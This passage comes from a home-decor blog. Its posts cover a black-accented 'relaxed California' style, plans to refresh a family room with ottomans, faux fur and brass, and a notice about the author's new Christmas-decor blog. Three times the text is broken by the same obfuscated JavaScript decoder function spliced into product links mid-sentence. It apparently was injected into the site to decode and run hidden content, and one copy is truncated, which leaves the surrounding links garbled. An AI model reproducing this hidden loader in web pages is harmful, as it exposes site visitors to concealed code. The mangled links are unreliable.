…california style

Is everywhere! I am loving this look. Let me first say, though, that this style does not give up on our love for woods, chalkboards, farm house lighting and seagrass rugs. It incorporates these in a new way by adding another kind of neutral - black. What I see is a bit of a sleeker look (that is definitely trending), but with a relaxed feel.

I've been seeing this look on design magazines (House Beautiful, Elle Decor, etc.) and sites like One Kings Lane, Target, function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oelily.com/solid-la-jolla-baskets/m11344.html#q=la%2Bjolla%2Bbasket&start=8">Serena and Lily, William Sonoma Home and our beloved Fixer Upper on HGTV! Yup, Joanna Gaines uses black more than you realize. I've seen the look labeled as a relaxed California style and Global Style. Like any look, this one is layered with textures like relaxed linen with velvet pillows, black rattan with shiny wood and white faux fur and brass.

Take a look:

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I think it's really inspiring and I definitely plan to incorporate a few of these ideas in my family room. I think I'll start with one of these from function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oelily.com/solid-la-jolla-baskets/m11344.html#q=la%2Bjolla%2Bbasket&start=8">Serena & Lily. La Jolla Basket.

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PS - I was literally shopping in Target before posting this and snapped a pick of guess what? hahaha. Love when that happens.

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function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do/" rel="bookmark">…family room, fabric and fur

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Umm, so it’s the New Year and after taking down the tree and sending the kids off to their busy days, I get an itch to move around all my furniture, clear off the table tops and re-decorate EVERYTHING. Unfortunately, I don't have the budget to do this. But, I think I can sneak in a few changes without breaking the bank.

I guess I wormed my way into ordering some ottomans after returning a few Christmas presents from DH. I know there are those of us out there that return gifts from our husbands so we can get what we are eyeing. For me, most times, I end up returning clothing items for house items. For me, I think it's more of a feeling of freshening up the house and creating an inspiring feeling....for myself. Yes, it's for me. This homebody gets inspiration from her home and I want it the way I think it should be and there's no shame in that. Sometimes Mama wins.

So, I'm starting with buying ottomans for my side chairs and because they no longer make the fabric for my roll armed chairs, I had to start from scratch and redo those. It's a project. I'm not sure the fabric was working in their anyway because I changed out my turquoise pillows for more neutral over the last spring. Then, I started to feel like the room was so neutral. I'm working on a game plan. And yes, I'm going to try to do pictures with cats in them. Not too hard to do and I love it.

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I want to keep a bit of blue because it makes me happy....and I get very distracted by pattern when looking at fabric.

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Maybe I'll change things on the large coffee table. Maybe only books on the coffee table. Maybe lanterns. Maybe brass lanterns because brass is definitely having a moment. This would be an easy way to include it. Hmmmm.

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Yes, I like something like this I think. It's just a touch of what is trending now with that sleek look. Yes, my rustic lovers, sleek is in and shabby not so much. But, we don't have to give up what we love. We can just do a little here and there. I like to keep relevant so I'm giving it a go. And books never go out of style.

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In my search for colors that work and renew, some of my favorite designer are using black. Hmmm. I never would have considered it, but it can actually work with neutrals. I'm not sold yet, but considering it. One of my favorite blogs has some beautiful designs. Yes, these are a bit more modern and West Coast, but I can appreciate the textures.

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I am also planning on upholstering some wood chairs MYSELF with faux fur. I promise to show you as I am very, very excited about it! Fur is hot right now too and can go shabby or modern. Win.

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And this fur below is timeless. Always en vogue, Boys.

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…my christmas decor

Hi Guys!

I posted today on my new lifestlye blog this year’s Christmas Decor. I thought you may be interested. If you have not get subscribed to my new site and joined me, please do! You mean to much to me and I want to stay connected.

Here the link to the post.

Wishing peace and love this holiday season.

Christen Bensten 

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